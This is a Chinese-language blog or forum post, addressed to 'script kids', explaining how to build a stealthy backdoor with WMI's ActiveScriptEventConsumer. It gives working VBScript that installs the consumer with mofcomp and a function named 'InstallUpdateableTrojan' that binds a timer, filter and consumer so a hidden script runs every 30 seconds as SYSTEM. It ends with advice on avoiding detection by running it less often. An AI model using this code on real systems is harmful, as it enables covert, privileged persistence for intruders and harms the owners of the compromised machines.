利用WMI打造完美三无后门(scrcons.exe)
来源：菠萝的菠萝格 <br /><br />Welcome!各位ScriptKid，欢迎来到脚本世界。 <br /><br />今天忙了一天，比较累。不废话那么多了，切入正题。 <br /><br />这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer（以下简称ASEC）。WMI中有许多这 类的事件消费者，简单的来说，当与其绑定的事件到达时，消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等 <br /><br />ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时，可以执行一段预先设定好的JS/VBS脚本。 <br /><br />先来看一下其原型： <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode45"> <br />class ActiveScriptEventConsumer : __EventConsumer <br />{ <br />uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读 <br />uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0，脚本不会被终止 <br />string MachineName; <br />uint32 MaximumQueueSize; <br />string Name; //自定义的事件消费者的名字。 <br />string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript <br />string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话，写上这里吧。 <br />string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我，有我没你 <br />}; <br /></div><br />ASEC的安装 <br /><br />对于XP以后的系统来说，ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的 mof文件，但是没有默认安装，需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生，所以如果你想直接捕获一些系统事件作为触发器 的话，还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode46"> <br />Function InstallASECForWin2K ’安装ASEC For Windows 2000’ <br />Dim ASECPath2K <br />ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") <br />Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) <br />MofContent = MofFile.Readall <br />MofFile.Close <br />MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间 <br />TempMofFile=ASECPath2K&"Temp.mof" <br />Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) <br />TempMof.Write MofContent <br />TempMof.close <br />XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE <br />FSO.DeleteFile(TempMofFile) <br />ASECStatus = "Ready" <br />’Wscript.Echo "ASECForWin2K Install OK!" <br />End Function <br />Function InstallASECForWinXP ’安装ASEC For Windows XP’ <br />Dim ASECPathXP <br />XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") <br />XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可 <br />ASECStatus = "Ready" <br />’Wscript.Echo "ASECForWinXP Install OK!" <br />End Function <br />Function InstallASECForVista ’安装ASEC For Windows Vista’ <br />Dim ASECPath2K <br />ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") <br />Set f = FSO.GetFile(ASECPath2K&"scrcons.mof") <br />Set MofFile = f.OpenAsTextStream(1,-2) <br />’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) <br />MofContent = MofFile.Readall <br />MofFile.Close <br />MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover，否则安装出错 <br />TempMofFile=ASECPath2K&"Temp.mof" <br />Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) <br />TempMof.Write MofContent <br />TempMof.close <br />XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE <br />FSO.DeleteFile(TempMofFile) <br />ASECStatus = "Ready" <br />’Wscript.Echo "ASECForWinVista Install OK!" <br />End Function <br /></div><br />再来看一个绑定事件和ASEC的实例。 <br /><br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode47"> <br />Function InstallUpdateableTrojan <br />WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名称空间 <br />TrojanName="ScriptKids" //自定义的消费者名字，也就是你的后门的名字 <br />TrojanRunTimer=30000 //自定义的脚本运行间隔 <br />strtxt="" //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库 <br />’配置事件消费者’ <br />set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ <br />Asec.name=TrojanName&"_consumer" <br />Asec.scriptingengine="vbscript" <br />Asec.scripttext=strtxt <br />set Asecpath=Asec.put_ <br />’配置计时器’ <br />set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_ <br />WMITimer.timerid=TrojanName&"_WMITimer" <br />WMITimer.intervalbetweenevents=TrojanRunTimer <br />WMITimer.skipifpassed=false <br />WMITimer.put_ <br />’配置事件过滤器’ <br />set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_ <br />EventFilter.name=TrojanName&"_filter" <br />EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer""" <br />EventFilter.querylanguage="wql" <br />set FilterPath=EventFilter.put_ <br />’绑定消费者和过滤器’ <br />set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_ <br />Binds.consumer=Asecpath.path <br />Binds.filter=FilterPath.path <br />Binds.put_ <br />End Function <br /></div><br /><br />以上代码的含义就是当我们自定义的一个计时器事件发生时，会被我们所配置的事件过滤器捕获到，并触发与过滤器绑定的消费者，也就是我们自定义了脚本的ASEC。达到我们每隔30秒执行一次我们自定义的脚本的目的。很简单吧：） <br /><br />最后要说的是，我们自定义的脚本运行时，是由系统自带的scrcons.exe作为脚本宿主进行解析，而scrcons.exe是由系统以 SYSTEM权限启动的，也就是说，我们的脚本是以SYSTEM权限执行，并且其所创建的任意进程都会继承SYSTEM权限。美中不足的就是，每当脚本执 行时，会平白多出一个scrcons.exe的系统进程。这也是这个脚本后门目前最容易被发现的一个弱点。不过，当这个脚本24小时才运行一次时，有多少 人会注意到呢？
頁:
[1]